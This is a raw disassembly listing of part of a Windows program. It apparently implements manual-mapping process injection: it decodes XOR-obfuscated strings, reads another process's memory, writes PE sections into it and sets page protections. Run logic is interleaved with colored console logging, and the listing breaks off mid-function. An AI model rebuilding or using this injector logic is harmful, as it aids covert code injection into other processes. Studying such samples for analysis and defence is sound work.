lea eax, [ebp - 0x2b]
push eax
push esi
lea ecx, [ebp - 0x580]
call fcn.00412e10
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x48], 0x52a0e4e0
mov dword [ebp - 0x44], 0x24f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x48], 0xf920999d
mov dword [ebp - 0x44], 0xc582aab
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x48], 0xd701a77d
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x48], 0xd7018747
mov dword [ebp - 0x44], 0x7fff4eeb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x48], 0x32a3b4d4
mov dword [ebp - 0x44], 0x643516ca
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x124], ecx
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x128], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xb0], xmm1
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ad80
sub ecx, edx
lea eax, [ebp - 0xc0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x580]
call fcn.00416370
mov dword [ebp - 0x300], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x310], xmm0
mov dword [ebp - 0x2fc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x310], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x300], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x18
push eax
lea edx, [ebp - 0x310]
lea ecx, [ebp - 0x490]
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 0x19
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 9
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x42ae4f
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, dword [ebp - 0x47c]
cmp ecx, 0xf
jbe 0x42aea4
mov edx, dword [ebp - 0x490]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ae9a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x2fc]
mov dword [ebp - 0x480], 0
mov dword [ebp - 0x47c], 0xf
mov byte [ebp - 0x490], 0
cmp ecx, 0xf
jbe 0x42aef9
mov edx, dword [ebp - 0x310]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42aeef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov ecx, dword [ebp - 0x56c]
mov dword [ebp - 0x300], 0
mov dword [ebp - 0x2fc], 0xf
mov byte [ebp - 0x310], 0
cmp ecx, 0xf
jbe 0x42af4e
mov edx, dword [ebp - 0x580]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42af44
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov edi, dword [ebp - 0x118]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x148]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x1b4]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0xf4]
push edi
call esi
jmp 0x42cb75
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [ebp - 0x150], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [ebp - 0xf8], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [ebp - 0x14c], edi
mov dword [ebp - 0x154], eax
nop dword [eax]
nop word [eax + eax]
lea eax, [ebp - 0xc4]
mov dword [ebp - 0xc4], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 0xc4], 0x103
jne 0x42c718
push 0
push 0x1c
lea eax, [ebp - 0xbc]
mov dword [ebp - 0xa4], 0
push eax
push dword [ebp - 0x1b4]
xorps xmm0, xmm0
push esi
movups xmmword [ebp - 0xbc], xmm0
movq qword [ebp - 0xac], xmm0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edi, dword [ebp - 0xb0]
cmp edi, 0x404040
je 0x42c572
cmp edi, 0x505050
jne 0x42b213
mov dword [ebp - 0x48], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0x27f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x1c8], 0xd100a99a
mov dword [ebp - 0x1c4], 0x491c65e8
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x1c0], 0x1df2b6a5
mov dword [ebp - 0x1bc], 0x15d06631
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x1bc]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x68], 0xd100a3aa
mov dword [ebp - 0x64], 0x491c65e8
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x104], ecx
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x108], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
movups xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b120
sub ecx, edx
lea eax, [ebp - 0xf0]
push ecx
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00413c60
push 0xfffffffffffffff5
mov dword [ebp - 4], 0x1e
call dword [ebp - 0x14c]
mov esi, eax
lea eax, [ebp - 0x60]
push eax
push esi
call dword [ebp - 0x150]
push 9
push esi
call dword [ebp - 0xf8]
lea eax, [ebp - 0x38]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push esi
call dword [ebp - 0xf8]
cmp dword [ebp - 0x19c], 0xf
lea edx, [ebp - 0x1b0]
push dword [ebp - 0x1a0]
cmova edx, dword [ebp - 0x1b0]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push esi
call dword [ebp - 0xf8]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x19c]
cmp ecx, 0xf
jbe 0x42b1f2
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b1e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov esi, dword [ebp - 0x118]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x42afd0
push 0x1400000
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
mov dword [ebp - 0x1c4], edi
test edi, edi
jne 0x42b385
mov dword [ebp - 0x48], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0x27f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x48], 0xd100a99b
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x104], ecx
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x108], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x178], edi
mov dword [ebp - 0x174], edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b2f5
sub ecx, edx
lea eax, [ebp - 0xf0]
push ecx
push eax
lea ecx, [ebp - 0x188]
call fcn.00413c60
push 0xfffffffffffffff5
mov dword [ebp - 4], 0x1f
call dword [ebp - 0x14c]
mov esi, eax
lea eax, [ebp - 0x60]
push eax
push esi
call dword [ebp - 0x150]
mov edi, dword [ebp - 0xf8]
push 9
push esi
call edi
lea eax, [ebp - 0x38]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push esi
call edi
cmp dword [ebp - 0x174], 0xf
lea edx, [ebp - 0x188]
push dword [ebp - 0x178]
cmova edx, dword [ebp - 0x188]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push esi
call edi
jmp 0x428c8b
push 0x1400000
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x1000
push edi
push dword [ebp - 0x148]
push esi
call dword [ebp - 0x114]
test eax, eax
jne 0x42b55d
mov dword [ebp - 0x48], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0x27f34663
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x48], 0xd100a998
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x48], 0x1df2b6a5
mov dword [ebp - 0x44], 0x15d06631
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x48], 0xd100a3aa
mov dword [ebp - 0x44], 0x491c65e8
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movaps xmm1, xmmword [ebp - 0xf0]
mov dword [ebp - 0x104], ecx
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0x108], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x110]
movaps xmmword [ebp - 0xf0], xmm1
movups xmmword [ebp - 0x1b0], xmm0
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42b470
sub ecx, edx
lea eax, [ebp - 0xf0]
push ecx
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00413c60
push 0xfffffffffffffff5
mov dword [ebp - 4], 0x20
call dword [ebp - 0x14c]
mov esi, eax
lea eax, [ebp - 0x60]
push eax
push esi
call dword [ebp - 0x150]
mov edi, dword [ebp - 0xf8]
push 9
push esi
call edi
lea eax, [ebp - 0x38]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push esi
call edi
cmp dword [ebp - 0x19c], 0xf
lea edx, [ebp - 0x1b0]
push dword [ebp - 0x1a0]
cmova edx, dword [ebp - 0x1b0]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push esi
call edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x19c]
cmp ecx, 0xf
jbe 0x42b53c
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b532
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov esi, dword [ebp - 0x118]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
mov ecx, dword [ebp - 0x144]
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x64], 0
movzx eax, word [ecx + 0x14]
lea edi, [ecx + 0x18]
add edi, eax
movzx eax, word [ecx + 6]
mov dword [ebp - 0x1bc], edi
mov ecx, eax
test ax, ax
je 0x42bd89
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x44], eax
cmp dword [edi + 8], 0
je 0x42bd64
mov dword [ebp - 0x238], 0x7c96c68b
mov dword [ebp - 0x234], 0x15d00745
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x234]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x2c8], 0xd100a3aa
mov dword [ebp - 0x2c4], 0x491c65e8
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x2c4]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x2c0], 0x1df2b6a5
mov dword [ebp - 0x2bc], 0x15d06631
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [ebp - 0x2bc]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x2b8], 0xd100a3aa
mov dword [ebp - 0x2b4], 0x491c65e8
mov eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0x2b4]
movaps xmm1, xmmword [ebp - 0x3c0]
mov dword [ebp - 0x208], eax
mov eax, edi
mov dword [ebp - 0x204], ecx
lea ecx, [ebp - 0x3c0]
xorps xmm1, xmmword [ebp - 0x210]
movaps xmmword [ebp - 0x3c0], xmm1
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42b690
test dl, dl
je 0x42b68c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42b690
add eax, 2
add ecx, 2
test dl, dl
jne 0x42b670
xor eax, eax
jmp 0x42b695
sbb eax, eax
or eax, 1
test eax, eax
je 0x42b89d
mov dword [ebp - 0x2b0], 0x6f81c48b
mov dword [ebp - 0x2ac], 0x15d06652
mov eax, dword [ebp - 0x2b0]
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x2a0], 0xd100a3aa
mov dword [ebp - 0x29c], 0x491c65e8
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x29c]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x298], 0x1df2b6a5
mov dword [ebp - 0x294], 0x15d06631
mov eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x294]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x290], 0xd100a3aa
mov dword [ebp - 0x28c], 0x491c65e8
mov eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x28c]
movaps xmm1, xmmword [ebp - 0x3b0]
mov dword [ebp - 0x1a8], eax
mov eax, edi
mov dword [ebp - 0x1a4], ecx
lea ecx, [ebp - 0x3b0]
xorps xmm1, xmmword [ebp - 0x1b0]
movaps xmmword [ebp - 0x3b0], xmm1
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42b790
test dl, dl
je 0x42b78c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42b790
add eax, 2
add ecx, 2
test dl, dl
jne 0x42b770
xor eax, eax
jmp 0x42b795
sbb eax, eax
or eax, 1
test eax, eax
je 0x42b89d
mov dword [ebp - 0x288], 0x7197c48b
mov dword [ebp - 0x284], 0x15d0055e
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 0x284]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x2a8], 0xd100a3aa
mov dword [ebp - 0x2a4], 0x491c65e8
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x240], 0x1df2b6a5
mov dword [ebp - 0x23c], 0x15d06631
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x248], 0xd100a3aa
mov dword [ebp - 0x244], 0x491c65e8
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x244]
movaps xmm1, xmmword [ebp - 0x3d0]
mov dword [ebp - 0x98], eax
mov eax, edi
mov dword [ebp - 0x94], ecx
lea ecx, [ebp - 0x3d0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0x3d0], xmm1
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x42b890
test dl, dl
je 0x42b88c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x42b890
add eax, 2
add ecx, 2
test dl, dl
jne 0x42b870
xor eax, eax
jmp 0x42b895
sbb eax, eax
or eax, 1
test eax, eax
jne 0x42bd5e
mov eax, dword [edi + 0xc]
add eax, dword [ebp - 0x148]
push 0
push dword [edi + 8]
push dword [ebp - 0x1c4]
push eax
push esi
call dword [ebp - 0x114]
test eax, eax
jne 0x42bd5e
mov dword [ebp - 0x250], 0x1df2bc8c
mov dword [ebp - 0x24c], 0x15d06631
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x258], 0xd100a3aa
mov dword [ebp - 0x254], 0x491c65e8
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x260], 0x1df2b6a5
mov dword [ebp - 0x25c], 0x15d06631
mov eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x25c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x268], 0xd100a3aa
mov dword [ebp - 0x264], 0x491c65e8
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x110], xmm1
call dword [ebp - 0x44]
mov ecx, eax
lea esi, [ebp - 0x4b]
mov dword [ebp - 0xc4], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
shl al, 2
lea ecx, [eax + edx]
mov eax, dword [ebp - 0xc4]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0xc4], eax
test eax, eax
jne 0x42b985
push ecx
lea eax, [ebp - 0x4b]
push eax
push esi
lea ecx, [ebp - 0x3e8]
call fcn.00412e10
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x270], 0x52a0e4e0
mov dword [ebp - 0x26c], 0x27f34663
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x278], 0xf9209999
mov dword [ebp - 0x274], 0xc582aab
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x280], 0xd701a77d
mov dword [ebp - 0x27c], 0x7fff4eeb
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x27c]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x1e8], 0x32a3b4d4
mov dword [ebp - 0x1e4], 0x643516ca
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1e4]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x1d0], 0x1df2b6a5
mov dword [ebp - 0x1cc], 0x15d06631
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1cc]
mov dword [ebp - 0x1d8], 0xd100a3aa
mov dword [ebp - 0x1d4], 0x491c65e8
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x22c], ecx
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 0x168], 0xd7018747
mov dword [ebp - 0x164], 0x7fff4eeb
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x224], ecx
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0xe8], 0x32a3b4d4
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0xe4], 0x643516ca
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x214], ecx
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x218], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x220]
movaps xmmword [ebp - 0x130], xmm1
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42bb60
sub ecx, edx
lea eax, [ebp - 0x140]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x3e8]
call fcn.00416370
xorps xmm0, xmm0
mov dword [ebp - 0x318], 0
movups xmmword [ebp - 0x328], xmm0
mov dword [ebp - 0x314], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x328], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x318], xmm0
mov byte [ebp - 4], 0x22
lea edx, [ebp - 0x328]
mov dword [eax + 0x10], 0
lea ecx, [ebp - 0x4a8]
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x110]
push eax
call fcn.004128d0
add esp, 4
mov esi, eax
push 0xfffffffffffffff5
mov byte [ebp - 4], 0x23
call dword [ebp - 0x14c]
mov edi, eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [ebp - 0x150]
push 9
push edi
call dword [ebp - 0xf8]
lea eax, [ebp - 0x7c]
push eax
call dword [ebp - 0x154]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00421460
push 0xc
push edi
call dword [ebp - 0xf8]
cmp dword [esi + 0x14], 0xf
mov eax, dword [esi + 0x10]
jbe 0x42bc2f
mov esi, dword [esi]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, esi
push eax
call fcn.00418b10
add esp, 4
push dword [ebp - 0x58]
push edi
call dword [ebp - 0xf8]
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x494]
cmp ecx, 0xf
jbe 0x42bc88
mov edx, dword [ebp - 0x4a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bc7e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0x314]
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x494], 0xf
mov byte [ebp - 0x4a8], 0
cmp ecx, 0xf
jbe 0x42bce1
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bcd7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x3d4]
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
cmp ecx, 0xf
jbe 0x42bd3d
mov edx, dword [ebp - 0x3e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42bd33
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428cc3
push ecx
push edx
call fcn.0048531b
add esp, 8
mov edi, dword [ebp - 0x1bc]
mov dword [ebp - 0x3d8], 0
mov dword [ebp - 0x3d4], 0xf
mov byte [ebp - 0x3e8], 0
mov edx, dword [ebp - 0x144]
mov esi, dword [ebp - 0x64]
add edi, 0x28
movzx eax, word [edx + 6]
inc esi
mov dword [ebp - 0x64], esi
mov ecx, eax
mov dword [ebp - 0x1bc], edi
cmp esi, eax
je 0x42bd89
mov esi, dword [ebp - 0x118]
jmp 0x42b596
movzx edi, word [edx + 0x14]
xor esi, esi
add edi, 0x3c
mov dword [ebp - 0x1bc], esi
test cx, cx
je 0x42bfef
add edi, edx
mov edx, dword [edi - 0x1c]
test edx, edx
je 0x42bfd3
mov ecx, dword [edi]
mov eax, 2
mov dword [ebp - 0x44], 0
test ecx, 0x80000000
jbe 0x42bdcb
mov eax, 4
jmp 0x42bdd9
test ecx, 0x20000000
mov ecx, 0x20
cmova eax, ecx
lea ecx, [ebp - 0x44]
push ecx
push eax
mov eax, dword [edi - 0x18]
add eax, dword [ebp - 0x148]
push edx
push eax
push dword [ebp - 0x118]
call dword [ebp - 0x1dc]
test eax, eax
jne 0x42bfd3
mov dword [ebp - 0xe8], 0x52a0e4e0
xorps xmm0, xmm0
mov dword [ebp - 0xe4], 0x27f34663
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x168], 0xd100a99e
mov dword [ebp - 0x164], 0x491c65e8
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e8], eax
